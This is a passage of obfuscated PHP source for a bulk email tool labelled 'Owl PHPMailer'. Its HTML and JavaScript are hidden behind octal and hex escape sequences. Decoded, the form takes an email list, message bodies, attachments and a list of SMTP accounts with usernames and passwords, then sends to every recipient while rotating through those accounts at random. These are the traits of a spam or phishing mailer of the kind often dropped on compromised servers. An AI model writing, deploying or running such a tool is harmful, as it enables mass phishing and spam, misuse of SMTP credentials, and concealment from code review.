8\x74\x41\162\x65\141\114\x69\156\145\163\x20\75\40\145\115\141\151\154\124\x65\170\164\x41\x72\x65\x61\56\166\x61\154\165\x65\x2e\163\x70\154\151\164\50\42\134\x6e\42\x29\x3b\15\12\x20\x20\166\141\162\x20\x73\x6d\x74\x70\x41\143\x63\157\x75\156\x74\x73\124\145\x78\x74\101\x72\x65\x61\40\x3d\x20\144\157\x63\x75\155\x65\156\164\x2e\x67\145\x74\105\x6c\x65\x6d\145\156\164\102\171\111\144\50\x22\163\x6d\x74\x70\101\x63\143\157\x75\x6e\164\163\42\x29\x3b\15\xa\x20\x20\166\141\162\40\x73\x6d\164\x70\x41\143\x63\x6f\165\156\164\x73\124\145\170\164\x41\x72\145\141\x4c\x69\156\145\x73\x20\x3d\x20\x73\x6d\164\160\101\x63\x63\x6f\165\156\164\163\124\x65\x78\164\x41\x72\x65\141\x2e\166\x61\154\165\145\x2e\x73\x70\154\151\x74\50\42\x5c\x6e\x22\51\x3b\15\12\x20\40\166\141\162\x20\x65\x6e\x63\x6f\144\x69\x6e\x67\124\171\x70\145\105\40\x3d\x20\144\157\x63\165\155\x65\156\x74\56\147\145\x74\x45\x6c\145\x6d\x65\x6e\x74\x42\x79\111\x64\x28\47\145\156\x63\157\x64\151\x6e\x67\47\x29\x3b\xd\12\40\40\166\x61\x72\40\145\x6e\x63\x6f\144\x69\156\x67\124\171\160\145\40\75\40\x65\156\143\157\x64\x69\156\x67\124\x79\160\x65\x45\x2e\x6f\160\164\151\157\x6e\x73\133\x65\x6e\x63\157\144\151\156\x67\x54\171\160\145\105\x2e\163\x65\x6c\145\x63\164\x65\x64\111\x6e\144\145\170\135\56\166\x61\154\x75\145\73\xd\xa\x20\40\166\141\x72\x20\x65\155\x61\151\x6c\x50\162\x69\x6f\x72\151\x74\171\x45\40\x3d\40\144\x6f\x63\165\x6d\145\x6e\x74\x2e\147\x65\x74\105\154\x65\155\x65\x6e\x74\102\171\x49\x64\50\47\x70\162\x69\157\x72\151\164\x79\x27\51\x3b\xd\12\40\x20\x76\141\x72\x20\145\x6d\141\x69\154\x50\162\151\x6f\162\x69\x74\171\x20\x3d\x20\145\x6d\141\151\x6c\120\162\x69\157\x72\151\x74\x79\x45\56\157\160\164\151\157\x6e\163\x5b\145\155\x61\151\154\120\x72\151\x6f\x72\151\164\171\105\x2e\163\145\x6c\145\143\x74\x65\144\x49\156\x64\145\170\x5d\x2e\x76\x61\x6c\x75\x65\x3b\xd\xa\40\15\xa\x20\40\40\x76\141\162\40\x66\x6f\x72\x6d\137\x64\141\x74\141\40\x3d\x20\x6e\145\x77\40\106\157\162\155\x44\141\164\x61\x28\x29\x3b\xd\xa\40\40\x20\146\157\x72\x6d\x5f\144\x61\x74\x61\56\x61\160\x70\x65\x6e\x64\50\42\x61\143\164\151\x6f\156\42\x2c\40\x22\163\145\x6e\x64\42\51\73\xd\12\40\40\40\x66\x6f\x72\x6d\137\144\x61\x74\x61\x2e\x61\x70\160\145\x6e\x64\x28\42\x73\145\x6e\144\151\156\147\x4d\x65\164\150\x6f\x64\x22\x2c\40\x64\x6f\143\165\155\x65\x6e\x74\56\x71\165\145\x72\x79\x53\x65\x6c\x65\x63\164\157\162\x28\47\x69\x6e\x70\x75\x74\x5b\x6e\x61\155\x65\x3d\x22\x73\145\x6e\x64\151\156\x67\x4d\145\x74\x68\157\144\x22\135\x3a\143\150\x65\143\153\x65\x64\x27\x29\56\x76\x61\x6c\165\x65\51\73\15\12\x20\40\x20\x66\x6f\x72\155\x5f\144\x61\x74\x61\56\x61\x70\x70\x65\x6e\x64\x28\x22\x73\x65\x6e\144\145\162\105\155\141\151\x6c\x22\54\40\x64\157\143\165\x6d\x65\156\x74\56\x67\145\164\x45\154\145\x6d\145\x6e\164\x42\171\x49\144\x28\x27\x73\x65\156\x64\145\x72\105\x6d\x61\x69\154\x27\51\56\166\x61\x6c\165\x65\51\73\15\xa\x20\40\40\x66\x6f\162\x6d\x5f\144\x61\164\x61\56\141\x70\160\x65\x6e\144\50\42\x73\145\x6e\144\145\x72\x4e\x61\x6d\145\x22\54\x20\x64\x6f\143\165\155\x65\x6e\164\x2e\x67\x65\164\105\154\145\155\145\156\164\x42\x79\111\x64\x28\47\163\x65\156\x64\x65\x72\116\x61\155\x65\x27\x29\x2e\166\x61\154\x75\x65\51\x3b\xd\12\40\40\40\146\157\162\x6d\137\x64\x61\164\x61\x2e\x61\160\x70\145\156\x64\50\x22\162\x65\160\x6c\171\x54\157\42\54\40\144\x6f\x63\165\155\x65\x6e\x74\56\x67\145\x74\105\154\x65\x6d\x65\156\x74\x42\x79\x49\x64\x28\x27\x72\x65\160\154\171\124\x6f\x27\x29\x2e\x76\141\154\165\145\x29\x3b\15\12\40\x20\x20\146\157\x72\x6d\137\x64\141\164\x61\x2e\x61\x70\x70\145\x6e\x64\x28\42\x6d\145\163\163\x61\x67\x65\123\165\x62\152\145\x63\164\42\54\40\x64\x6f\x63\x75\x6d\x65\x6e\164\56\x67\x65\x74\105\x6c\145\155\x65\x6e\164\x42\171\x49\144\x28\x27\163\165\x62\152\x65\143\164\47\x29\x2e\x76\x61\154\165\145\51\73\xd\xa\x20\x20\40\x66\157\x72\x6d\x5f\x64\141\164\x61\x2e\x61\x70\160\145\x6e\144\50\42\x6d\145\x73\163\141\x67\145\114\145\164\x74\x65\x72\42\54\x20\x64\x6f\x63\165\x6d\145\x6e\164\x2e\147\145\x74\x45\154\x65\155\145\156\164\x42\x79\x49\x64\x28\x27\x6d\145\163\x73\x61\147\145\x4c\x65\164\x74\x65\162\x27\51\56\166\x61\154\165\x65\51\73\xd\xa\40\x20\40\146\157\162\155\x5f\x64\x61\164\141\56\x61\160\x70\x65\x6e\144\x28\42\x61\154\164\x4d\x65\x73\x73\x61\147\x65\x4c\x65\x74\164\x65\162\42\54\40\x64\157\143\165\x6d\145\156\x74\56\147\x65\164\x45\154\x65\x6d\145\x6e\x74\x42\171\x49\144\x28\47\141\154\x74\x4d\x65\x73\x73\141\147\145\114\x65\x74\164\x65\x72\47\x29\56\x76\141\x6c\165\145\x29\x3b\15\xa\40\x20\x20\146\157\x72\x6d\137\x64\x61\x74\141\x2e\x61\160\x70\x65\156\144\x28\x22\155\145\x73\x73\141\147\x65\124\171\x70\145\x22\54\x20\144\x6f\x63\x75\x6d\145\x6e\164\x2e\x71\x75\145\x72\171\123\x65\154\x65\143\164\157\x72\50\x27\x69\x6e\x70\165\164\133\x6e\x61\x6d\x65\75\x22\155\145\163\x73\x61\147\145\x54\171\x70\145\x22\x5d\x3a\x63\150\x65\143\153\145\144\x27\x29\x2e\166\x61\x6c\165\x65\x29\x3b\15\12\x20\40\40\x66\x6f\x72\155\137\x64\x61\164\141\x2e\x61\x70\x70\145\x6e\144\x28\x22\x65\x6e\143\x6f\144\x69\156\x67\124\171\x70\145\42\54\40\x65\156\143\157\144\151\156\x67\124\171\160\145\51\73\xd\xa\40\x20\40\x66\157\162\155\137\144\x61\x74\141\x2e\141\x70\160\145\x6e\x64\x28\x22\x65\x6d\x61\151\154\x50\162\x69\x6f\x72\x69\164\171\42\x2c\40\x65\x6d\x61\151\154\x50\x72\151\157\162\x69\x74\171\x29\x3b\15\12\15\12\40\40\x20\146\x6f\162\40\x28\166\x61\162\x20\170\40\75\40\x30\x3b\x20\x78\x20\x3c\x20\x64\157\x63\x75\x6d\145\x6e\164\x2e\x67\145\x74\x45\x6c\145\155\145\156\x74\x42\x79\x49\144\x28\47\x61\x74\x74\x61\143\x68\155\x65\156\164\47\x29\x2e\x66\x69\x6c\145\x73\x2e\x6c\x65\x6e\x67\x74\150\x3b\40\x78\x2b\53\51\x20\173\15\xa\40\x20\x20\x20\40\40\146\x6f\x72\155\137\144\141\164\141\x2e\141\x70\160\x65\x6e\x64\x28\42\141\x74\x74\x61\143\x68\155\x65\x6e\x74\x5b\x5d\42\54\x20\x64\157\143\x75\155\x65\x6e\164\x2e\x67\x65\x74\x45\x6c\x65\155\x65\156\164\x42\x79\111\144\x28\47\141\164\164\141\x63\x68\x6d\x65\x6e\x74\x27\51\x2e\x66\151\154\145\x73\133\x78\135\51\x3b\xd\12\x20\x20\40\175\xd\12\15\xa\x20\x20\44\50\x22\x23\x70\x72\157\x67\x72\145\x73\x73\42\x29\x2e\x65\155\x70\164\x79\50\x29\x3b\15\xa\x20\x20\x76\x61\x72\40\x70\162\x6f\143\145\163\163\x65\144\103\x6f\165\x6e\x74\40\75\x20\60\x3b\xd\12\x20\40\44\50\x66\x75\x6e\143\x74\151\157\156\40\x28\51\x20\173\15\xa\40\40\x20\40\166\141\x72\x20\x69\40\x3d\40\60\x3b\15\12\40\x20\x20\x20\x72\165\156\x6e\x69\x6e\x67\40\x3d\40\164\x72\165\x65\x3b\xd\12\15\12\40\x20\40\x20\x24\x28\42\43\142\164\156\123\x74\141\162\164\42\x29\x2e\x61\x74\164\x72\x28\42\x64\x69\163\141\142\154\145\x64\42\x2c\40\164\x72\x75\x65\x29\73\15\12\x20\x20\x20\x20\x24\x28\x22\43\142\164\x6e\123\164\x6f\x70\42\x29\56\x61\x74\164\x72\50\42\x64\x69\163\141\142\154\145\144\42\54\40\146\x61\x6c\163\x65\51\73\15\xa\15\12\15\xa\x20\x20\40\40\146\x75\x6e\x63\164\x69\x6f\x6e\x20\156\145\170\x74\x43\141\154\154\x28\51\x20\173\xd\12\x20\40\40\x20\x20\40\151\x66\x20\x28\151\x20\x3d\75\x20\x65\x4d\x61\x69\154\x54\x65\170\164\x41\x72\145\141\114\151\x6e\145\x73\56\154\x65\156\x67\164\x68\51\x7b\xd\12\15\12\40\x20\x20\x20\40\x20\40\x20\40\44\50\x22\43\x62\x74\156\123\x74\x61\x72\164\42\51\x2e\x61\164\x74\x72\50\42\x64\x69\x73\x61\142\154\x65\144\42\54\x20\146\141\x6c\x73\145\51\x3b\15\12\x20\40\40\x20\x20\40\x20\40\40\x24\50\42\x23\x62\x74\156\123\164\157\160\x22\x29\x2e\x61\x74\164\x72\50\x22\x64\x69\163\x61\x62\x6c\x65\144\x22\x2c\40\164\162\x75\x65\51\73\xd\xa\40\x20\40\x20\40\x20\40\x20\x20\x72\x65\164\165\162\156\x3b\40\57\x2f\154\x61\x73\x74\40\x63\x61\154\154\40\x77\141\163\x20\x6c\141\163\164\40\x69\x74\145\155\x20\151\156\40\164\150\x65\x20\141\162\x72\141\171\15\12\x20\40\x20\40\x20\x20\175\15\12\xd\12\40\x20\x20\x20\40\x20\57\57\x20\x41\x62\157\162\x74\40\x61\156\x79\40\x70\145\x6e\144\151\156\x67\x20\x72\x65\161\x75\x65\x73\164\xd\xa\40\40\x20\40\x20\40\151\146\x20\50\x72\145\161\x75\145\163\x74\x29\40\x7b\15\xa\x20\x20\x20\40\x20\40\x20\x20\162\145\161\x75\x65\x73\x74\56\x61\142\157\x72\x74\50\x29\x3b\15\12\40\40\40\40\40\x20\x7d\15\12\x20\x20\40\x20\x20\40\x20\151\146\50\41\162\165\x6e\156\151\x6e\147\x29\15\xa\x20\x20\x20\x20\x20\x20\x7b\15\xa\40\x20\40\40\40\40\40\x20\x72\145\x74\x75\x72\156\x3b\15\12\40\40\40\x20\x20\x20\175\15\xa\xd\12\40\x20\x20\40\x20\40\166\x61\162\x20\162\145\x63\151\x70\151\145\x6e\x74\x20\x3d\40\145\115\141\x69\154\x54\145\x78\164\x41\162\145\x61\114\x69\x6e\x65\x73\x5b\151\53\x2b\135\15\xa\40\40\40\x20\40\x20\146\x6f\162\155\137\x64\141\164\141\x2e\141\x70\160\x65\156\x64\50\42\x72\145\x63\151\160\151\145\x6e\164\42\54\40\162\x65\x63\151\160\x69\145\156\x74\51\73\xd\xa\x20\40\40\x20\40\40\146\157\162\155\x5f\x64\x61\164\x61\x2e\x61\160\x70\145\156\144\50\42\x73\155\164\x70\x41\143\x63\x74\42\54\x20\163\x6d\x74\x70\x41\x63\x63\x6f\x75\x6e\x74\163\x54\145\x78\164\101\162\x65\x61\114\x69\156\145\163\x2e\162\141\x6e\x64\157\x6d\105\154\145\x6d\x65\156\x74\50\51\x29\x3b\15\xa\xd\12\40\40\x20\40\x20\x20\162\145\161\x75\145\163\164\40\x3d\40\44\x2e\x61\x6a\141\x78\x28\x7b\xd\xa\x20\x20\x20\x20\40\x20\40\40\x74\171\160\145\72\x20\42\160\x6f\x73\x74\42\x2c\xd\xa\x20\40\x20\40\40\40\40\40\144\141\164\x61\x3a\40\x66\157\162\155\x5f\144\141\164\141\54\15\12\40\40\x20\x20\x20\40\x20\x20\x63\157\x6e\164\x65\156\x74\x54\x79\160\x65\72\x20\146\141\x6c\x73\145\54\15\xa\40\x20\x20\x20\x20\x20\40\x20\x70\162\157\x63\145\x73\x73\104\141\164\141\72\40\146\141\x6c\x73\x65\54\xd\xa\x20\40\40\40\40\40\x7d\x29\73\15\xa\x20\x20\x20\x20\x20\40\57\57\x20\x43\x61\154\x6c\x62\141\143\x6b\x20\150\x61\x6e\x64\154\x65\x72\40\x74\150\x61\164\x20\x77\x69\x6c\154\x20\142\x65\40\x63\x61\x6c\154\145\x64\x20\x6f\x6e\x20\163\x75\x63\x63\x65\163\x73\15\12\x20\40\x20\40\x20\x20\162\x65\161\x75\145\163\x74\56\144\157\x6e\x65\x28\146\x75\156\143\x74\x69\157\x6e\x20\x28\162\x65\x73\160\x6f\156\x73\x65\x2c\40\x74\x65\170\x74\x53\164\x61\x74\165\x73\x2c\x20\152\161\130\x48\122\51\40\x7b\xd\xa\x20\x20\x20\x20\x20\x20\x20\40\160\162\x6f\143\x65\x73\x73\x65\144\x43\x6f\165\156\164\x20\53\75\x20\x31\73\15\12\40\40\40\x20\40\x20\40\x20\150\x61\x6e\x64\154\x65\123\145\156\144\x69\156\x67\x52\x65\163\160\x6f\156\x73\145\50\162\145\x63\151\160\x69\145\156\x74\54\40\162\x65\x73\160\x6f\156\x73\x65\x2c\x20\160\162\157\143\145\163\163\145\x64\x43\157\165\156\164\54\x20\x65\x4d\141\151\154\124\145\x78\x74\101\x72\145\141\114\x69\156\x65\163\x2e\x6c\145\x6e\x67\x74\x68\x29\73\15\12\x20\40\x20\40\40\x20\40\x20\156\145\170\x74\103\x61\154\x6c\x28\51\73\15\xa\x20\40\x20\40\40\40\x7d\51\73\15\12\40\x20\x20\x20\x7d\15\xa\40\40\40\40\156\145\170\164\103\141\x6c\154\50\x29\73\15\xa\x20\40\175\x29\x3b\xd\xa\x20\x7d\15\12\x3c\57\163\143\x72\x69\x70\164\76\xd\12\40\x20\74\144\x69\x76\x20\143\154\141\163\163\x3d\x22\x63\157\156\x74\141\x69\x6e\145\162\x20\x63\157\x6c\x2d\154\147\55\66\x22\x3e\15\xa\x20\x20\40\40\74\x68\x33\x3e\46\43\61\62\x39\64\x31\67\x3b\x20\x4f\167\x6c\40\120\x48\120\x4d\141\151\154\145\x72\74\x73\155\x61\x6c\154\76\x20";
echo $qeeAj["\166\x65\x72\x73\151\x6f\x6e"];
echo "\74\57\163\155\x61\x6c\154\76\x3c\57\x68\63\x3e\15\12\x20\x20\40\40\74\x64\x69\166\x20\x63\154\x61\x73\x73\x3d\x22\162\x6f\167\x22\76\15\xa\x20\40\x20\40\x20\40\74\144\151\166\x20\x63\x6c\141\x73\163\x3d\42\146\x6f\x72\x6d\55\147\x72\x6f\165\160\x20\143\x6f\154\55\154\147\x2d\66\40\42\x3e\xd\12\x20\40\40\40\x20\x20\40\x20\74\x6c\x61\142\x65\154\x20\146\x6f\x72\75\x22\163\x65\156\144\145\x72\105\x6d\x61\x69\x6c\42\76\123\x65\x6e\144\x65\x72\40\x45\155\141\x69\154\74\x2f\154\x61\x62\145\x6c\x3e\xd\xa\x20\x20\x20\40\40\40\x20\x20\x3c\x69\x6e\x70\165\x74\x20\x74\x79\x70\x65\x3d\42\x74\145\170\164\x22\40\x63\154\x61\163\x73\75\42\x66\x6f\x72\155\x2d\x63\x6f\156\164\162\x6f\154\x20\40\x69\156\x70\165\x74\x2d\x73\x6d\42\40\151\144\x3d\42\163\x65\156\144\145\x72\x45\155\141\x69\x6c\x22\x20\156\141\155\x65\x3d\x22\163\x65\156\x64\x65\162\x45\x6d\x61\x69\154\x22\76\xd\12\x20\x20\x20\40\x20\x20\x3c\57\144\x69\x76\76\xd\xa\40\x20\x20\40\x20\x20\74\x64\151\x76\x20\143\154\141\x73\x73\75\42\x66\157\162\155\55\x67\x72\157\165\160\x20\143\x6f\154\x2d\154\x67\55\x36\40\x22\x3e\xd\12\x9\x20\x20\x3c\146\x6f\162\x6d\x20\155\145\164\x68\157\144\x3d\42\x47\x45\124\42\x20\x6e\141\155\145\x3d\42";
echo basename($_SERVER["\x50\x48\120\x5f\x53\105\x4c\x46"]);
echo "\42\76\xd\12\x20\40\x20\x20\40\x20\x20\x20\74\154\x61\142\145\x6c\x20\146\x6f\162\x3d\x22\163\145\x6e\144\x65\162\x45\x6d\x61\151\154\x22\x3e\x53\145\156\144\145\x72\40\116\x61\x6d\145\x3c\57\154\x61\x62\145\154\76\15\12\x20\40\40\x20\x20\x20\x20\x20\74\x69\156\x70\165\164\x20\164\x79\x70\145\x3d\x22\164\x65\170\x74\42\40\x63\154\141\x73\163\75\x22\146\x6f\x72\x6d\x2d\143\x6f\156\x74\162\x6f\154\x20\x20\151\156\x70\165\164\x2d\163\x6d\x22\40\151\x64\75\42\163\145\x6e\x64\145\x72\x4e\x61\155\x65\42\40\156\141\155\x65\75\42\x73\145\x6e\x64\x65\x72\116\x61\x6d\x65\x22\x3e\xd\xa\74\151\x6e\x70\x75\164\40\164\171\x70\145\x3d\x22\x73\x75\142\155\151\x74\42\40\x76\x61\x6c\165\x65\x3d\42\123\x65\156\144\x22\40\x68\151\144\x64\x65\x6e\40\x2f\76\15\12\40\x20\x20\40\40\40\x3c\57\x64\151\x76\76\xd\xa\x20\40\40\x20\x3c\57\x64\x69\166\x3e\15\xa\x20\40\40\x20\74\144\151\x76\x20\x63\154\x61\x73\163\75\x22\x72\x6f\x77\x22\x3e\40\74\x73\x70\x61\x6e\40\x63\x6c\141\x73\163\x3d\42\146\x6f\162\x6d\55\x67\162\x6f\x75\x70\40\143\157\x6c\x2d\154\147\x2d\66\42\x3e\74\154\141\142\145\x6c\x20\146\157\162\x3d\42\141\164\x74\141\143\150\x6d\x65\156\x74\42\76\x41\164\x74\141\143\x68\x6d\x65\156\x74\40\x3c\163\155\x61\154\154\x3e\50\115\x75\x6c\x74\x69\x70\154\x65\x20\x41\166\141\x69\154\141\x62\154\x65\x29\74\x2f\163\x6d\141\x6c\x6c\76\x3c\57\154\141\x62\x65\154\76\74\x69\x6e\160\x75\x74\x20\x74\171\x70\x65\x3d\42\x66\151\x6c\x65\x22\x20\x6e\x61\x6d\x65\x3d\42\x61\x74\164\x61\x63\150\155\145\156\x74\133\x5d\x22\x20\151\x64\x3d\x22\141\164\164\141\143\150\155\x65\x6e\x74\x22\40\155\x75\154\x74\151\x70\x6c\145\x2f\76\x3c\x2f\163\160\x61\156\76\15\12\40\40\40\x20\x20\40\74\x64\x69\x76\40\143\x6c\x61\163\163\x3d\42\x66\157\162\x6d\x2d\147\162\x6f\165\160\40\143\x6f\x6c\55\x6c\147\x2d\x36\42\x3e\15\12\x20\x20\x20\x20\x20\x20\40\40\x3c\x6c\141\142\145\x6c\40\x66\x6f\162\x3d\x22\x72\145\160\x6c\x79\x54\x6f\x22\x3e\x52\145\x70\x6c\171\55\x74\157\74\x2f\154\x61\142\x65\x6c\x3e\xd\12\x20\40\40\x20\40\40\40\x20\74\151\x6e\x70\165\164\40\164\171\x70\x65\x3d\42\164\x65\x78\x74\42\x20\x63\x6c\x61\x73\x73\x3d\42\x66\157\162\x6d\x2d\143\157\x6e\164\162\x6f\x6c\40\x20\x69\156\160\x75\164\x2d\x73\155\40\x22\x20\x69\144\x3d\42\162\x65\160\x6c\171\124\157\x22\40\156\141\x6d\x65\75\x22\162\x65\x70\x6c\x79\x54\157\42\40\x2f\x3e\15\12\40\x20\40\40\x20\x20\74\57\144\x69\x76\76\xd\xa\40\x20\x20\x20\74\57\x64\151\166\x3e\xd\xa\40\40\40\40\74\x64\151\166\x20\143\154\x61\163\163\75\42\x72\157\x77\42\x3e\xd\12\40\x20\x20\40\x20\40\74\x64\151\166\40\143\154\x61\x73\163\x3d\42\x66\157\x72\155\x2d\147\162\x6f\x75\160\x20\143\x6f\154\55\154\147\x2d\x31\62\40\42\x3e\15\xa\x20\x20\40\x20\x20\x20\40\40\74\x6c\141\x62\145\154\40\146\x6f\x72\75\42\x73\x75\142\152\145\143\x74\x22\x3e\123\x75\x62\152\145\143\164\x3c\x2f\154\x61\x62\145\154\x3e\xd\xa\40\40\x20\x20\x20\x20\x20\x20\74\x69\x6e\160\165\x74\40\164\x79\160\145\x3d\x22\x74\145\170\x74\42\40\143\x6c\141\x73\x73\x3d\x22\x66\157\162\155\x2d\x63\157\156\164\x72\x6f\x6c\40\x20\151\156\160\x75\164\55\163\x6d\40\x22\40\x69\x64\x3d\x22\163\x75\142\x6a\x65\x63\x74\42\40\156\x61\x6d\x65\x3d\42\163\165\x62\152\145\x63\x74\x22\x20\57\76\15\xa\x20\40\40\40\40\40\74\x2f\x64\x69\x76\x3e\xd\xa\40\40\40\40\74\57\x64\151\166\76\15\12\x20\x20\40\x20\74\144\x69\x76\40\x63\x6c\x61\x73\x73\75\x22\x72\x6f\167\x22\76\xd\xa\x20\x20\40\x20\x20\x20\x3c\x64\x69\x76\40\x63\x6c\141\x73\x73\x3d\x22\x66\157\x72\x6d\x2d\147\x72\x6f\x75\160\x20\143\157\154\x2d\x6c\x67\x2d\66\x22\x3e\15\12\x20\x20\40\40\x20\x20\x20\x20\x3c\x6c\141\142\x65\x6c\x20\146\157\162\75\42\x6d\145\163\163\141\x67\x65\114\x65\x74\x74\x65\162\42\76\x4d\x65\163\x73\141\x67\x65\40\114\x65\x74\164\x65\162\x3c\57\154\141\x62\x65\x6c\76\15\xa\40\40\x20\x20\x20\40\x20\40\74\164\x65\x78\x74\141\x72\145\141\x20\160\x6c\x61\143\145\150\x6f\x6c\144\145\162\x3d\42\x4d\x65\163\163\x61\x67\x65\x20\114\x65\164\x74\145\162\x22\40\156\x61\155\145\x3d\x22\155\145\163\163\141\x67\145\114\145\164\164\x65\162\42\40\x69\x64\75\x22\155\145\163\163\141\x67\x65\x4c\x65\x74\x74\x65\162\x22\40\143\154\141\x73\x73\x3d\x22\146\x6f\x72\x6d\x2d\143\157\156\x74\x72\157\x6c\42\x20\162\157\167\163\x3d\42\61\60\x22\x20\151\x64\75\42\x74\x65\170\x74\101\x72\145\x61\42\x3e\74\x2f\164\145\170\164\x61\162\x65\x61\x3e\xd\xa\40\40\40\x20\x20\40\x3c\x2f\x64\151\166\x3e\xd\12\40\x20\40\40\40\40\x3c\144\x69\166\40\x63\x6c\141\163\163\75\42\146\x6f\x72\155\55\147\162\157\165\x70\40\x63\x6f\154\x2d\154\147\x2d\x36\x22\x3e\xd\xa\40\40\40\x20\x20\x20\x20\x20\x3c\x6c\x61\x62\145\154\40\146\157\x72\x3d\42\x61\x6c\164\115\145\163\x73\141\147\145\114\x65\164\164\145\162\x22\x3e\x41\x6c\164\145\162\x6e\141\164\151\x76\145\40\115\x65\163\x73\x61\x67\x65\40\114\145\164\x74\x65\162\74\57\x6c\141\142\145\x6c\76\15\12\x20\x20\40\x20\x20\x20\40\x20\74\164\145\x78\164\141\162\x65\x61\40\160\154\141\143\x65\150\157\x6c\x64\145\x72\75\x22\x41\x6c\164\x65\x72\x6e\x61\164\151\166\145\40\x4d\145\163\x73\x61\147\145\x20\x4c\145\x74\164\x65\x72\56\x26\x23\x31\60\x3b\124\150\151\163\x20\142\157\144\171\40\143\141\x6e\x20\142\145\x20\x72\x65\x61\x64\x20\x62\171\40\155\141\151\154\40\143\154\151\145\156\x74\x73\40\x74\x68\141\164\x20\144\157\40\x6e\x6f\164\x20\x68\141\166\x65\x20\x48\x54\115\114\40\145\x6d\141\151\x6c\x2e\x26\x23\x31\x30\x3b\143\x61\x70\141\x62\x69\154\x69\164\171\x20\x73\x75\143\150\40\141\163\x20\x6d\165\x74\164\x20\x26\x23\63\70\x3b\40\x45\x75\x64\x6f\x72\141\x2e\x26\43\x31\x30\73\x43\x6c\151\x65\x6e\164\163\x20\x74\x68\x61\164\40\x63\x61\156\40\162\145\x61\144\x20\x48\x54\x4d\114\40\x77\x69\x6c\154\x20\x76\151\145\167\x20\164\150\145\40\x6e\x6f\x72\x6d\141\154\40\x42\157\x64\171\56\42\x20\x6e\141\x6d\x65\x3d\x22\141\154\x74\x4d\x65\163\163\x61\x67\x65\114\x65\x74\164\145\162\x22\x20\x69\144\x3d\x22\x61\154\x74\x4d\x65\x73\x73\x61\147\x65\114\145\164\164\x65\162\x22\40\x63\154\x61\x73\163\75\x22\146\x6f\x72\155\55\143\157\x6e\x74\162\x6f\154\42\40\162\x6f\x77\x73\x3d\x22\x31\60\42\x20\x69\144\x3d\x22\x74\x65\x78\x74\101\162\x65\141\x22\76\x3c\x2f\x74\145\170\x74\x61\162\x65\141\x3e\15\xa\40\40\40\40\x20\x20\x3c\57\144\x69\166\76\xd\xa\x20\x20\40\x20\x3c\x2f\x64\151\x76\x3e\xd\xa\x20\x20\x20\x20\74\x64\151\x76\40\143\x6c\141\x73\163\x3d\42\162\x6f\x77\42\x3e\15\xa\40\x20\40\x20\40\x20\x3c\144\x69\x76\x20\143\154\141\x73\163\75\42\x66\x6f\x72\155\55\147\162\157\165\160\x20\143\157\154\x2d\x6c\147\55\x36\40\42\76\15\12\x20\40\x20\40\x20\40\x20\40\x3c\x6c\141\142\145\x6c\x20\146\x6f\162\75\42\x65\155\x61\x69\154\114\x69\x73\x74\x22\x3e\x45\x6d\x61\x69\x6c\40\x4c\151\x73\x74\74\57\154\141\x62\145\x6c\76\xd\xa\x20\x20\x20\x20\40\40\x20\40\x3c\164\x65\170\x74\x61\162\145\141\x20\156\141\155\x65\75\42\145\x6d\141\151\154\114\x69\x73\164\x22\40\151\144\75\x22\145\155\141\x69\154\x4c\151\x73\164\42\x20\x63\154\x61\x73\x73\75\x22\146\x6f\162\155\55\143\x6f\x6e\x74\x72\x6f\154\42\x20\x72\157\x77\163\75\x22\x31\x30\42\40\x69\x64\x3d\x22\164\145\170\164\101\x72\x65\x61\x22\76\x3c\57\164\x65\x78\x74\141\x72\x65\141\x3e\xd\xa\x20\40\40\40\40\40\x3c\x2f\144\151\166\x3e\15\12\x20\x20\40\x20\x20\40\74\144\151\166\x20\x63\x6c\x61\163\x73\x3d\42\146\x6f\x72\x6d\x2d\x67\162\157\165\160\40\x63\x6f\x6c\x2d\154\x67\x2d\x36\x20\x22\76\xd\12\x20\x20\40\x20\40\x20\x20\x20\x3c\x6c\x61\142\145\x6c\40\x66\x6f\162\75\42\163\x6d\x74\x70\101\x63\143\157\165\x6e\x74\163\x22\76\123\x4d\x54\x50\x20\x41\143\143\157\x75\156\164\163\x3c\57\154\141\x62\x65\154\76\xd\12\40\x20\40\40\x20\x20\40\40\74\x74\x65\x78\x74\x61\x72\145\141\40\x70\x6c\141\143\x65\x68\157\154\x64\x65\162\75\x22\x52\141\156\x64\x6f\x6d\40\141\143\x63\157\x75\156\164\x20\167\x69\x6c\x6c\40\x62\x65\x20\x75\x73\x65\144\x20\167\150\145\x6e\40\163\145\x6e\144\x69\156\x67\40\141\x20\x6d\145\163\163\141\x67\x65\56\x26\43\61\60\73\x31\x29\40\x46\x6f\x72\x6d\141\164\72\40\110\x4f\123\x54\72\x50\117\x52\x54\x3a\x53\x53\x4c\x26\x23\x31\60\73\62\x29\40\x46\157\x72\155\x61\164\x3a\x20\x48\117\x53\124\x3a\x50\x4f\122\x54\x3a\123\x53\x4c\x3a\125\x73\x65\162\156\x61\155\145\x3a\120\141\x73\163\167\x6f\162\144\x26\43\x31\60\73\105\170\x61\155\160\x6c\145\72\x20\x73\155\x74\160\x2e\x67\x6d\x61\151\154\56\x63\x6f\x6d\x3a\x35\x38\x37\72\164\x6c\163\72\x78\x78\x40\x67\155\x61\151\x6c\56\x63\157\x6d\x3a\x31\62\63\46\x23\x31\60\73\105\170\141\155\x70\x6c\145\72\40\x73\x6d\x74\160\x2e\147\155\x61\151\x6c\x2e\x63\x6f\x6d\72\65\70\67\72\x6e\157\x73\x73\154\x3a\x78\x78\100\x67\155\x61\151\x6c\56\143\157\155\x3a\x31\62\63\46\43\61\60\x3b\46\x23\x31\60\x3b\x53\x53\114\40\117\160\x74\x69\x6f\156\163\72\40\x74\x6c\x73\x20\54\40\x73\163\154\x2c\40\156\157\x73\163\x6c\x22\40\x6e\x61\x6d\145\75\42\163\x6d\164\x70\101\x63\x63\x6f\165\156\164\163\x22\x20\x69\x64\75\x22\163\x6d\x74\160\x41\x63\x63\157\x75\156\x74\x73\x22\40\143\x6c\x61\163\x73\75\42\x66\x6f\162\x6d\x2d\x63\x6f\x6e\x74\x72\x6f\x6c\42\40\162\157\167\x73\x3d\x22\61\x30\x22\x20\x69\144\75\42\x74\145\170\164\x41\162\x65\x61\42\x3e\x3c\x2f\164\145\170\x74\141\x72\x65\141\x3e\xd\xa\40\x20\40\x20\40\40\74\x2f\144\x69\x76\x3e\15\xa\x20\x20\x20\40\x3c\57\144\x69\166\x3e\xd\xa\15\12\x20\40\x20\40\74\144\151\166\40\x63\x6c\x61\x73\x73\x3d\42\x72\157\x77\42\76\xd\xa\x20\40\40\x20\40\40\74\144\151\166\x20\x63\154\x61\163\163\x3d\42\146\x6f\x72\155\x2d\147\x72\x6f\x75\160\40\143\157\154\x2d\154\x67\x2d\x36\x20\42\76\xd\12\x20\40\40\40\x20\40\x3c\154\141\x62\x65\154\40\146\157\162\x3d\x22\x6d